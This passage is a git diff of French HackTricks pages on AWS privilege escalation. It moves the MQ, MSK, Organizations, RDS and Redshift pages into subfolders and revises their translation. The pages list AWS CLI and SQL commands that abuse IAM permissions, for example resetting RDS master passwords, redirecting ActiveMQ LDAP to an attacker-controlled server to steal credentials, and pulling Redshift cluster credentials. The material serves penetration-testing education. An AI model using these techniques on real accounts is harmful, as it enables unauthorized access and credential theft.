RotateIngestEndpointCredentials) ```bash aws mediapackage rotate-ingest-endpoint-credentials --id test --ingest-endpoint-id 584797f1740548c389a273585dd22a63 ``` @@ -18,4 +18,4 @@ aws mediapackage rotate-ingest-endpoint-credentials --id test --ingest-endpoint- - [https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a](https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a) -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc.md deleted file mode 100644 index 97e7761e9..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc.md +++ /dev/null @@ -1,43 +0,0 @@ -# AWS - MQ Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -## MQ - -Pour plus d'informations sur MQ, consultez : - -{{#ref}} -../aws-services/aws-mq-enum.md -{{#endref}} - -### `mq:ListBrokers`, `mq:CreateUser` - -Avec ces permissions, vous pouvez **créer un nouvel utilisateur dans un broker ActimeMQ** (cela ne fonctionne pas dans RabbitMQ) : -```bash -aws mq list-brokers -aws mq create-user --broker-id --console-access --password --username -``` -**Impact potentiel :** Accéder à des informations sensibles en naviguant dans ActiveMQ - -### `mq:ListBrokers`, `mq:ListUsers`, `mq:UpdateUser` - -Avec ces permissions, vous pouvez **créer un nouvel utilisateur dans un broker ActimeMQ** (cela ne fonctionne pas dans RabbitMQ) : -```bash -aws mq list-brokers -aws mq list-users --broker-id -aws mq update-user --broker-id --console-access --password --username -``` -**Impact potentiel :** Accéder à des informations sensibles en naviguant à travers ActiveMQ - -### `mq:ListBrokers`, `mq:UpdateBroker` - -Si un courtier utilise **LDAP** pour l'autorisation avec **ActiveMQ**. Il est possible de **changer** la **configuration** du serveur LDAP utilisé pour **un contrôlé par l'attaquant**. De cette manière, l'attaquant pourra **voler tous les identifiants envoyés via LDAP**. -```bash -aws mq list-brokers -aws mq update-broker --broker-id --ldap-server-metadata=... -``` -Si vous pouviez d'une manière ou d'une autre trouver les identifiants originaux utilisés par ActiveMQ, vous pourriez effectuer un MitM, voler les identifiants, les utiliser sur le serveur d'origine et envoyer la réponse (peut-être qu'en réutilisant simplement les identifiants volés, vous pourriez faire cela). - -**Impact potentiel :** Voler les identifiants ActiveMQ - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc/README.md new file mode 100644 index 000000000..2ac4f97e3 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc/README.md @@ -0,0 +1,43 @@ +# AWS - MQ Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## MQ + +Pour plus d'informations sur MQ, consultez : + +{{#ref}} +../../aws-services/aws-mq-enum.md +{{#endref}} + +### `mq:ListBrokers`, `mq:CreateUser` + +Avec ces permissions, vous pouvez **créer un nouvel utilisateur dans un broker ActimeMQ** (cela ne fonctionne pas avec RabbitMQ) : +```bash +aws mq list-brokers +aws mq create-user --broker-id --console-access --password --username +``` +**Impact potentiel :** Accéder à des informations sensibles en naviguant dans ActiveMQ + +### `mq:ListBrokers`, `mq:ListUsers`, `mq:UpdateUser` + +Avec ces autorisations, vous pouvez **créer un nouvel utilisateur dans un ActimeMQ broker** (cela ne fonctionne pas avec RabbitMQ): +```bash +aws mq list-brokers +aws mq list-users --broker-id +aws mq update-user --broker-id --console-access --password --username +``` +**Impact potentiel :** Accéder à des informations sensibles en naviguant dans ActiveMQ + +### `mq:ListBrokers`, `mq:UpdateBroker` + +Si un broker utilise **LDAP** pour l'autorisation avec **ActiveMQ**, il est possible de **modifier** la **configuration** du serveur LDAP utilisé pour le remplacer par **un serveur contrôlé par l'attaquant**. De cette façon, l'attaquant pourra **voler tous les identifiants envoyés via LDAP**. +```bash +aws mq list-brokers +aws mq update-broker --broker-id --ldap-server-metadata=... +``` +Si vous parveniez d'une manière ou d'une autre à trouver les credentials originaux utilisés par ActiveMQ, vous pourriez effectuer un MitM, voler les creds, les utiliser sur le serveur d'origine et renvoyer la réponse (peut‑être qu'en réutilisant simplement les creds volés vous pourriez faire cela). + +**Impact potentiel :** Voler les identifiants ActiveMQ + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc.md deleted file mode 100644 index 9ea8c9024..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc.md +++ /dev/null @@ -1,22 +0,0 @@ -# AWS - MSK Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -## MSK - -Pour plus d'informations sur MSK (Kafka), consultez : - -{{#ref}} -../aws-services/aws-msk-enum.md -{{#endref}} - -### `msk:ListClusters`, `msk:UpdateSecurity` - -Avec ces **privilèges** et **l'accès au VPC où se trouvent les brokers kafka**, vous pourriez ajouter l'**authentification None** pour y accéder. -```bash -aws msk --client-authentication --cluster-arn --current-version -``` -Vous devez avoir accès au VPC car **vous ne pouvez pas activer l'authentification None avec Kafka exposé publiquement**. S'il est exposé publiquement, si **l'authentification SASL/SCRAM** est utilisée, vous pourriez **lire le secret** pour y accéder (vous aurez besoin de privilèges supplémentaires pour lire le secret).\ -Si **l'authentification basée sur le rôle IAM** est utilisée et que **kafka est exposé publiquement**, vous pourriez toujours abuser de ces privilèges pour vous donner des permissions d'accès. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc/README.md new file mode 100644 index 000000000..79458298c --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc/README.md @@ -0,0 +1,22 @@ +# AWS - MSK Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## MSK + +Pour plus d'informations sur MSK (Kafka), consultez : + +{{#ref}} +../../aws-services/aws-msk-enum.md +{{#endref}} + +### `msk:ListClusters`, `msk:UpdateSecurity` + +Avec ces **privilèges** et **l'accès au VPC où se trouvent les kafka brokers**, vous pouvez ajouter l'**None authentication** pour y accéder. +```bash +aws msk --client-authentication --cluster-arn --current-version +``` +Vous devez avoir accès au VPC parce que **vous ne pouvez pas activer None authentication avec Kafka exposé publiquement**. Si c'est exposé publiquement, si **SASL/SCRAM** est utilisé, vous pourriez **lire le secret** pour y accéder (vous aurez besoin de privilèges supplémentaires pour lire le secret).\ +Si **IAM role-based authentication** est utilisé et **kafka est exposé publiquement** vous pourriez toujours abuser de ces privilèges pour vous donner des permissions pour y accéder. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc.md deleted file mode 100644 index 09c253b7d..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc.md +++ /dev/null @@ -1,18 +0,0 @@ -# AWS - Organizations Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -## Organizations - -Pour plus d'informations, consultez : - -{{#ref}} -../aws-services/aws-organizations-enum.md -{{#endref}} - -## Du compte de gestion aux comptes enfants - -Si vous compromettez le compte root/gestion, il y a de fortes chances que vous puissiez compromettre tous les comptes enfants.\ -Pour [**apprendre comment, consultez cette page**](../#compromising-the-organization). - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc/README.md new file mode 100644 index 000000000..dedf72631 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc/README.md @@ -0,0 +1,18 @@ +# AWS - Organizations Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## Organizations + +Pour plus d'informations, consultez : + +{{#ref}} +../../aws-services/aws-organizations-enum.md +{{#endref}} + +## Du management Account aux comptes enfants + +Si vous compromettez le root/management account, il y a de fortes chances que vous puissiez compromettre tous les comptes enfants.\ +Pour [**savoir comment, consultez cette page**](../../index.html#compromising-the-organization). + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc.md deleted file mode 100644 index cf0eeaca2..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc.md +++ /dev/null @@ -1,151 +0,0 @@ -# AWS - RDS Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -## RDS - Service de base de données relationnelle - -Pour plus d'informations sur RDS, consultez : - -{{#ref}} -../aws-services/aws-relational-database-rds-enum.md -{{#endref}} - -### `rds:ModifyDBInstance` - -Avec cette permission, un attaquant peut **modifier le mot de passe de l'utilisateur principal**, et la connexion à l'intérieur de la base de données : -```bash -# Get the DB username, db name and address -aws rds describe-db-instances - -# Modify the password and wait a couple of minutes -aws rds modify-db-instance \ ---db-instance-identifier \ ---master-user-password 'Llaody2f6.123' \ ---apply-immediately - -# In case of postgres -psql postgresql://:@:5432/ -``` -> [!WARNING] -> Vous devrez être en mesure de **contacter la base de données** (elles sont généralement accessibles uniquement depuis des réseaux internes). - -**Impact potentiel :** Trouver des informations sensibles à l'intérieur des bases de données. - -### rds-db:connect - -Selon les [**docs**](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/UsingWithRDS.IAMDBAuth.IAMPolicy.html), un utilisateur avec cette permission pourrait se connecter à l'instance de DB. - -### Abuser des permissions IAM du rôle RDS - -#### Postgresql (Aurora) - -> [!TIP] -> Si en exécutant **`SELECT datname FROM pg_database;`** vous trouvez une base de données appelée **`rdsadmin`**, vous savez que vous êtes à l'intérieur d'une **base de données postgresql AWS**. - -Tout d'abord, vous pouvez vérifier si cette base de données a été utilisée pour accéder à un autre service AWS. Vous pourriez vérifier cela en regardant les extensions installées : -```sql -SELECT * FROM pg_extension; -``` -Si vous trouvez quelque chose comme **`aws_s3`**, vous pouvez supposer que cette base de données a **une sorte d'accès à S3** (il existe d'autres extensions telles que **`aws_ml`** et **`aws_lambda`**). - -De plus, si vous avez les permissions pour exécuter **`aws rds describe-db-clusters`**, vous pouvez voir là si le **cluster a un rôle IAM associé** dans le champ **`AssociatedRoles`**. S'il y en a, vous pouvez supposer que la base de données a été **préparée pour accéder à d'autres services AWS**. En fonction du **nom du rôle** (ou si vous pouvez obtenir les **permissions** du rôle), vous pourriez **deviner** quel accès supplémentaire la base de données a. - -Maintenant, pour **lire un fichier à l'intérieur d'un bucket**, vous devez connaître le chemin complet. Vous pouvez le lire avec : -```sql -// Create table -CREATE TABLE ttemp (col TEXT); - -// Create s3 uri -SELECT aws_commons.create_s3_uri( -'test1234567890678', // Name of the bucket -'data.csv', // Name of the file -'eu-west-1' //region of the bucket -) AS s3_uri \gset - -// Load file contents in table -SELECT aws_s3.table_import_from_s3('ttemp', '', '(format text)',:'s3_uri'); - -// Get info -SELECT * from ttemp; - -// Delete table -DROP TABLE ttemp; -``` -Si vous aviez **des identifiants AWS bruts**, vous pourriez également les utiliser pour accéder aux données S3 avec : -```sql -SELECT aws_s3.table_import_from_s3( -'t', '', '(format csv)', -:'s3_uri', -aws_commons.create_aws_credentials('sample_access_key', 'sample_secret_key', '') -); -``` -> [!NOTE] -> Postgresql **n'a pas besoin de changer de variable de groupe de paramètres** pour pouvoir accéder à S3. - -#### Mysql (Aurora) - -> [!TIP] -> À l'intérieur d'un mysql, si vous exécutez la requête **`SELECT User, Host FROM mysql.user;`** et qu'il y a un utilisateur appelé **`rdsadmin`**, vous pouvez supposer que vous êtes dans une **base de données mysql AWS RDS**. - -À l'intérieur du mysql, exécutez **`show variables;`** et si des variables telles que **`aws_default_s3_role`**, **`aurora_load_from_s3_role`**, **`aurora_select_into_s3_role`** ont des valeurs, vous pouvez supposer que la base de données est préparée pour accéder aux données S3. - -De plus, si vous avez les autorisations pour exécuter **`aws rds describe-db-clusters`**, vous pouvez vérifier si le cluster a un **rôle associé**, ce qui signifie généralement un accès aux services AWS. - -Maintenant, pour **lire un fichier à l'intérieur d'un bucket**, vous devez connaître le chemin complet. Vous pouvez le lire avec : -```sql -CREATE TABLE ttemp (col TEXT); -LOAD DATA FROM S3 's3://mybucket/data.txt' INTO TABLE ttemp(col); -SELECT * FROM ttemp; -DROP TABLE ttemp; -``` -### `rds:AddRoleToDBCluster`, `iam:PassRole` - -Un attaquant avec les permissions `rds:AddRoleToDBCluster` et `iam:PassRole` peut **ajouter un rôle spécifié à une instance RDS existante**. Cela pourrait permettre à l'attaquant d'**accéder à des données sensibles** ou de modifier les données au sein de l'instance. -```bash -aws add-role-to-db-cluster --db-cluster-identifier --role-arn -``` -**Impact potentiel** : Accès à des données sensibles ou modifications non autorisées des données dans l'instance RDS.\ -Notez que certaines bases de données nécessitent des configurations supplémentaires telles que Mysql, qui doit spécifier l'ARN du rôle dans les groupes de paramètres également. - -### `rds:CreateDBInstance` - -Juste avec cette permission, un attaquant pourrait créer une **nouvelle instance à l'intérieur d'un cluster** qui existe déjà et a un **rôle IAM** attaché. Il ne pourra pas changer le mot de passe de l'utilisateur principal, mais il pourrait être en mesure d'exposer la nouvelle instance de base de données à Internet : -```bash -aws --region eu-west-1 --profile none-priv rds create-db-instance \ ---db-instance-identifier mydbinstance2 \ ---db-instance-class db.t3.medium \ ---engine aurora-postgresql \ ---db-cluster-identifier database-1 \ ---db-security-groups "string" \ ---publicly-accessible -``` -### `rds:CreateDBInstance`, `iam:PassRole` - -> [!NOTE] -> TODO: Tester - -Un attaquant avec les permissions `rds:CreateDBInstance` et `iam:PassRole` peut **créer une nouvelle instance RDS avec un rôle spécifié attaché**. L'attaquant peut alors potentiellement **accéder à des données sensibles** ou modifier les données au sein de l'instance. - -> [!WARNING] -> Certaines exigences du rôle/profil d'instance à attacher (depuis [**ici**](https://docs.aws.amazon.com/cli/latest/reference/rds/create-db-instance.html)) : - -> - Le profil doit exister dans votre compte. -> - Le profil doit avoir un rôle IAM que Amazon EC2 a la permission d'assumer. -> - Le nom du profil d'instance et le nom du rôle IAM associé doivent commencer par le préfixe `AWSRDSCustom`. -```bash -aws rds create-db-instance --db-instance-identifier malicious-instance --db-instance-class db.t2.micro --engine mysql --allocated-storage 20 --master-username admin --master-user-password mypassword --db-name mydatabase --vapc-security-group-ids sg-12345678 --db-subnet-group-name mydbsubnetgroup --enable-iam-database-authentication --custom-iam-instance-profile arn:aws:iam::123456789012:role/MyRDSEnabledRole -``` -**Impact potentiel** : Accès à des données sensibles ou modifications non autorisées des données dans l'instance RDS. - -### `rds:AddRoleToDBInstance`, `iam:PassRole` - -Un attaquant disposant des autorisations `rds:AddRoleToDBInstance` et `iam:PassRole` peut **ajouter un rôle spécifié à une instance RDS existante**. Cela pourrait permettre à l'attaquant d'**accéder à des données sensibles** ou de modifier les données au sein de l'instance. - -> [!WARNING] -> L'instance DB doit être en dehors d'un cluster pour cela. -```bash -aws rds add-role-to-db-instance --db-instance-identifier target-instance --role-arn arn:aws:iam::123456789012:role/MyRDSEnabledRole --feature-name -``` -**Impact potentiel** : Accès à des données sensibles ou modifications non autorisées des données dans l'instance RDS. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc/README.md new file mode 100644 index 000000000..60bf0ed92 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc/README.md @@ -0,0 +1,151 @@ +# AWS - RDS Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## RDS - Service de base de données relationnelle + +Pour plus d'informations sur RDS, consultez : + +{{#ref}} +../../aws-services/aws-relational-database-rds-enum.md +{{#endref}} + +### `rds:ModifyDBInstance` + +Avec cette permission, un attaquant peut **modifier le mot de passe du master user**, et le login à l'intérieur de la base de données : +```bash +# Get the DB username, db name and address +aws rds describe-db-instances + +# Modify the password and wait a couple of minutes +aws rds modify-db-instance \ +--db-instance-identifier \ +--master-user-password 'Llaody2f6.123' \ +--apply-immediately + +# In case of postgres +psql postgresql://:@:5432/ +``` +> [!WARNING] +> Vous devrez être capable de **contacter la base de données** (elles sont généralement accessibles uniquement depuis l'intérieur des réseaux). + +**Impact potentiel :** Trouver des informations sensibles dans les bases de données. + +### rds-db:connect + +Selon les [**docs**](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/UsingWithRDS.IAMDBAuth.IAMPolicy.html) un utilisateur avec cette permission pourrait se connecter à l'instance DB. + +### Abuse RDS Role IAM permissions + +#### Postgresql (Aurora) + +> [!TIP] +> Si l'exécution de **`SELECT datname FROM pg_database;`** renvoie une base de données appelée **`rdsadmin`**, vous savez que vous êtes à l'intérieur d'une base de données **AWS postgresql**. + +Dans un premier temps, vous pouvez vérifier si cette base de données a été utilisée pour accéder à un autre service AWS. Vous pouvez le vérifier en regardant les extensions installées : +```sql +SELECT * FROM pg_extension; +``` +Si vous trouvez quelque chose comme **`aws_s3`** vous pouvez supposer que cette base de données a **une forme d'accès à S3** (il existe d'autres extensions telles que **`aws_ml`** et **`aws_lambda`**). + +Aussi, si vous avez les permissions pour exécuter **`aws rds describe-db-clusters`** vous pouvez voir là si le **cluster a un IAM Role attaché** dans le champ **`AssociatedRoles`**. S'il y en a, vous pouvez supposer que la base de données a été **préparée pour accéder à d'autres services AWS**. D'après le **nom du role** (ou si vous pouvez obtenir les **permissions** du role) vous pouvez **deviner** quels accès supplémentaires la base de données possède. + +Maintenant, pour **lire un fichier dans un bucket** vous devez connaître le chemin complet. Vous pouvez le lire avec : +```sql +// Create table +CREATE TABLE ttemp (col TEXT); + +// Create s3 uri +SELECT aws_commons.create_s3_uri( +'test1234567890678', // Name of the bucket +'data.csv', // Name of the file +'eu-west-1' //region of the bucket +) AS s3_uri \gset + +// Load file contents in table +SELECT aws_s3.table_import_from_s3('ttemp', '', '(format text)',:'s3_uri'); + +// Get info +SELECT * from ttemp; + +// Delete table +DROP TABLE ttemp; +``` +Si vous aviez **raw AWS credentials**, vous pourriez aussi les utiliser pour accéder aux données S3 avec : +```sql +SELECT aws_s3.table_import_from_s3( +'t', '', '(format csv)', +:'s3_uri', +aws_commons.create_aws_credentials('sample_access_key', 'sample_secret_key', '') +); +``` +> [!NOTE] +> Postgresql **n'a pas besoin de modifier aucune variable de groupe de paramètres** pour pouvoir accéder à S3. + +#### Mysql (Aurora) + +> [!TIP] +> Dans un mysql, si vous exécutez la requête **`SELECT User, Host FROM mysql.user;`** et qu'il existe un utilisateur appelé **`rdsadmin`**, vous pouvez supposer que vous êtes dans une **AWS RDS mysql db**. + +Dans le mysql, exécutez **`show variables;`** et si des variables telles que **`aws_default_s3_role`**, **`aurora_load_from_s3_role`**, **`aurora_select_into_s3_role`** ont des valeurs, vous pouvez considérer que la base de données est prête à accéder aux données S3. + +De plus, si vous avez les permissions pour exécuter **`aws rds describe-db-clusters`** vous pouvez vérifier si le cluster a un **rôle associé**, ce qui signifie généralement un accès aux services AWS). + +Maintenant, pour **lire un fichier dans un bucket** vous devez connaître le chemin complet. Vous pouvez le lire avec: +```sql +CREATE TABLE ttemp (col TEXT); +LOAD DATA FROM S3 's3://mybucket/data.txt' INTO TABLE ttemp(col); +SELECT * FROM ttemp; +DROP TABLE ttemp; +``` +### `rds:AddRoleToDBCluster`, `iam:PassRole` + +Un attaquant disposant des permissions `rds:AddRoleToDBCluster` et `iam:PassRole` peut **ajouter un rôle spécifié à une instance RDS existante**. Cela pourrait permettre à l'attaquant **d'accéder à des données sensibles** ou de modifier les données contenues dans l'instance. +```bash +aws add-role-to-db-cluster --db-cluster-identifier --role-arn +``` +**Impact potentiel**: Accès à des données sensibles ou modifications non autorisées des données de l'instance RDS.\ +Notez que certaines DBs nécessitent des configurations supplémentaires, comme Mysql, qui nécessite également de spécifier le role ARN dans les parameter groups. + +### `rds:CreateDBInstance` + +Rien qu'avec cette permission, un attaquant pourrait créer une **nouvelle instance à l'intérieur d'un cluster** qui existe déjà et auquel est attaché un **IAM role**. Il ne pourra pas changer le mot de passe du master user, mais il pourrait être capable d'exposer la nouvelle instance de base de données sur Internet: +```bash +aws --region eu-west-1 --profile none-priv rds create-db-instance \ +--db-instance-identifier mydbinstance2 \ +--db-instance-class db.t3.medium \ +--engine aurora-postgresql \ +--db-cluster-identifier database-1 \ +--db-security-groups "string" \ +--publicly-accessible +``` +### `rds:CreateDBInstance`, `iam:PassRole` + +> [!NOTE] +> TODO : Tester + +Un attaquant disposant des autorisations `rds:CreateDBInstance` et `iam:PassRole` peut **créer une nouvelle instance RDS avec un rôle spécifié attaché**. L'attaquant peut alors potentiellement **accéder à des données sensibles** ou modifier les données contenues dans l'instance. + +> [!WARNING] +> Certaines exigences pour le rôle/instance-profile à attacher (depuis [**here**](https://docs.aws.amazon.com/cli/latest/reference/rds/create-db-instance.html)): + +> - Le rôle/instance-profile doit exister dans votre compte. +> - Le profile doit avoir un rôle IAM que Amazon EC2 est autorisé à assumer. +> - Le nom de l'instance profile et le nom du rôle IAM associé doivent commencer par le préfixe `AWSRDSCustom` . +```bash +aws rds create-db-instance --db-instance-identifier malicious-instance --db-instance-class db.t2.micro --engine mysql --allocated-storage 20 --master-username admin --master-user-password mypassword --db-name mydatabase --vapc-security-group-ids sg-12345678 --db-subnet-group-name mydbsubnetgroup --enable-iam-database-authentication --custom-iam-instance-profile arn:aws:iam::123456789012:role/MyRDSEnabledRole +``` +**Impact potentiel**: Accès à des données sensibles ou modifications non autorisées des données dans l'instance RDS. + +### `rds:AddRoleToDBInstance`, `iam:PassRole` + +Un attaquant disposant des permissions `rds:AddRoleToDBInstance` et `iam:PassRole` peut **ajouter un rôle spécifié à une instance RDS existante**. Cela pourrait permettre à l'attaquant d'**accéder à des données sensibles** ou de modifier les données contenues dans l'instance. + +> [!WARNING] +> L'instance DB doit se trouver en dehors d'un cluster pour cela +```bash +aws rds add-role-to-db-instance --db-instance-identifier target-instance --role-arn arn:aws:iam::123456789012:role/MyRDSEnabledRole --feature-name +``` +**Impact potentiel**: Accès à des données sensibles ou modifications non autorisées des données dans l'instance RDS. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc/README.md similarity index 62% rename from src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc.md rename to src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc/README.md index 8f5c313d9..2ac9fe45c 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc/README.md @@ -1,41 +1,41 @@ # AWS - Redshift Privesc -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} ## Redshift Pour plus d'informations sur RDS, consultez : {{#ref}} -../aws-services/aws-redshift-enum.md +../../aws-services/aws-redshift-enum.md {{#endref}} ### `redshift:DescribeClusters`, `redshift:GetClusterCredentials` -Avec ces permissions, vous pouvez obtenir **des informations sur tous les clusters** (y compris le nom et le nom d'utilisateur du cluster) et **obtenir des identifiants** pour y accéder : +Avec ces permissions, vous pouvez obtenir **les informations de tous les clusters** (y compris le nom et le nom d'utilisateur du cluster) et **obtenir des identifiants** pour y accéder : ```bash # Get creds aws redshift get-cluster-credentials --db-user postgres --cluster-identifier redshift-cluster-1 # Connect, even if the password is a base64 string, that is the password psql -h redshift-cluster-1.asdjuezc439a.us-east-1.redshift.amazonaws.com -U "IAM:" -d template1 -p 5439 ``` -**Impact potentiel :** Trouver des informations sensibles dans les bases de données. +**Impact potentiel:** Trouver des informations sensibles dans les bases de données. ### `redshift:DescribeClusters`, `redshift:GetClusterCredentialsWithIAM` -Avec ces autorisations, vous pouvez obtenir **des informations sur tous les clusters** et **obtenir des identifiants** pour y accéder.\ -Notez que l'utilisateur postgres aura les **autorisations que l'identité IAM** utilisée pour obtenir les identifiants possède. +Avec ces permissions vous pouvez obtenir **les informations de tous les clusters** et **les identifiants** pour y accéder.\ +Remarque : l'utilisateur postgres aura les **permissions que possède l'identité IAM** utilisée pour obtenir les identifiants. ```bash # Get creds aws redshift get-cluster-credentials-with-iam --cluster-identifier redshift-cluster-1 # Connect, even if the password is a base64 string, that is the password psql -h redshift-cluster-1.asdjuezc439a.us-east-1.redshift.amazonaws.com -U "IAMR:AWSReservedSSO_AdministratorAccess_4601154638985c45" -d template1 -p 5439 ``` -**Impact potentiel :** Trouver des informations sensibles dans les bases de données. +**Impact potentiel:** Find sensitive info inside the databases. ### `redshift:DescribeClusters`, `redshift:ModifyCluster?` -Il est possible de **modifier le mot de passe principal** de l'utilisateur postgres interne (redshit) depuis aws cli (je pense que ce sont les autorisations dont vous avez besoin mais je ne les ai pas encore testées) : +Il est possible de **modifier le mot de passe maître** de l'utilisateur interne postgres (redshit) depuis aws cli (je pense que ce sont les permissions nécessaires mais je ne les ai pas encore testées) : ``` aws redshift modify-cluster –cluster-identifier –master-user-password ‘master-password’; ``` @@ -44,13 +44,13 @@ aws redshift modify-cluster –cluster-identifier ## Accès aux services externes > [!WARNING] -> Pour accéder à toutes les ressources suivantes, vous devrez **spécifier le rôle à utiliser**. Un cluster Redshift **peut avoir une liste de rôles AWS assignés** que vous pouvez utiliser **si vous connaissez l'ARN** ou vous pouvez simplement définir "**default**" pour utiliser celui par défaut assigné. +> Pour accéder à toutes les ressources suivantes, vous devrez **spécifier le rôle à utiliser**. Un cluster Redshift **peut avoir une liste de rôles AWS assignés** que vous pouvez utiliser **si vous connaissez l'ARN** ou vous pouvez simplement définir "**default**" pour utiliser celui qui est assigné par défaut. -> De plus, comme [**expliqué ici**](https://docs.aws.amazon.com/redshift/latest/mgmt/authorizing-redshift-service.html), Redshift permet également de concaténer des rôles (tant que le premier peut assumer le second) pour obtenir un accès supplémentaire mais en les **séparant** simplement par une **virgule** : `iam_role 'arn:aws:iam::123456789012:role/RoleA,arn:aws:iam::210987654321:role/RoleB';` +> De plus, comme [**expliqué ici**](https://docs.aws.amazon.com/redshift/latest/mgmt/authorizing-redshift-service.html), Redshift permet aussi de concaténer des rôles (tant que le premier peut assumer le second) pour obtenir des accès supplémentaires, mais il suffit de les **séparer** par une **virgule**: `iam_role 'arn:aws:iam::123456789012:role/RoleA,arn:aws:iam::210987654321:role/RoleB';` ### Lambdas -Comme expliqué dans [https://docs.aws.amazon.com/redshift/latest/dg/r_CREATE_EXTERNAL_FUNCTION.html](https://docs.aws.amazon.com/redshift/latest/dg/r_CREATE_EXTERNAL_FUNCTION.html), il est possible de **appeler une fonction lambda depuis redshift** avec quelque chose comme : +Comme expliqué dans [https://docs.aws.amazon.com/redshift/latest/dg/r_CREATE_EXTERNAL_FUNCTION.html](https://docs.aws.amazon.com/redshift/latest/dg/r_CREATE_EXTERNAL_FUNCTION.html), il est possible d'**appeler une fonction lambda depuis Redshift** avec quelque chose comme : ```sql CREATE EXTERNAL FUNCTION exfunc_sum2(INT,INT) RETURNS INT @@ -60,7 +60,7 @@ IAM_ROLE default; ``` ### S3 -Comme expliqué dans [https://docs.aws.amazon.com/redshift/latest/dg/tutorial-loading-run-copy.html](https://docs.aws.amazon.com/redshift/latest/dg/tutorial-loading-run-copy.html), il est possible de **lire et écrire dans des buckets S3** : +Comme expliqué dans [https://docs.aws.amazon.com/redshift/latest/dg/tutorial-loading-run-copy.html](https://docs.aws.amazon.com/redshift/latest/dg/tutorial-loading-run-copy.html), il est possible de **lire et d'écrire dans les S3 buckets**: ```sql # Read copy table from 's3:///load/key_prefix' @@ -75,21 +75,21 @@ iam_role default; ``` ### Dynamo -Comme expliqué dans [https://docs.aws.amazon.com/redshift/latest/dg/t_Loading-data-from-dynamodb.html](https://docs.aws.amazon.com/redshift/latest/dg/t_Loading-data-from-dynamodb.html), il est possible de **get data from dynamodb** : +Comme expliqué dans [https://docs.aws.amazon.com/redshift/latest/dg/t_Loading-data-from-dynamodb.html](https://docs.aws.amazon.com/redshift/latest/dg/t_Loading-data-from-dynamodb.html), il est possible de **récupérer des données depuis dynamodb** : ```sql copy favoritemovies from 'dynamodb://ProductCatalog' iam_role 'arn:aws:iam::0123456789012:role/MyRedshiftRole'; ``` > [!WARNING] -> La table Amazon DynamoDB qui fournit les données doit être créée dans la même région AWS que votre cluster, à moins que vous n'utilisiez l'option [REGION](https://docs.aws.amazon.com/redshift/latest/dg/copy-parameters-data-source-s3.html#copy-region) pour spécifier la région AWS dans laquelle se trouve la table Amazon DynamoDB. +> La table Amazon DynamoDB qui fournit les données doit être créée dans la même AWS Region que votre cluster, sauf si vous utilisez l'option [REGION](https://docs.aws.amazon.com/redshift/latest/dg/copy-parameters-data-source-s3.html#copy-region) pour spécifier la AWS Region où se trouve la table Amazon DynamoDB. ### EMR -Vérifiez [https://docs.aws.amazon.com/redshift/latest/dg/loading-data-from-emr.html](https://docs.aws.amazon.com/redshift/latest/dg/loading-data-from-emr.html) +Consultez [https://docs.aws.amazon.com/redshift/latest/dg/loading-data-from-emr.html](https://docs.aws.amazon.com/redshift/latest/dg/loading-data-from-emr.html) ## Références - 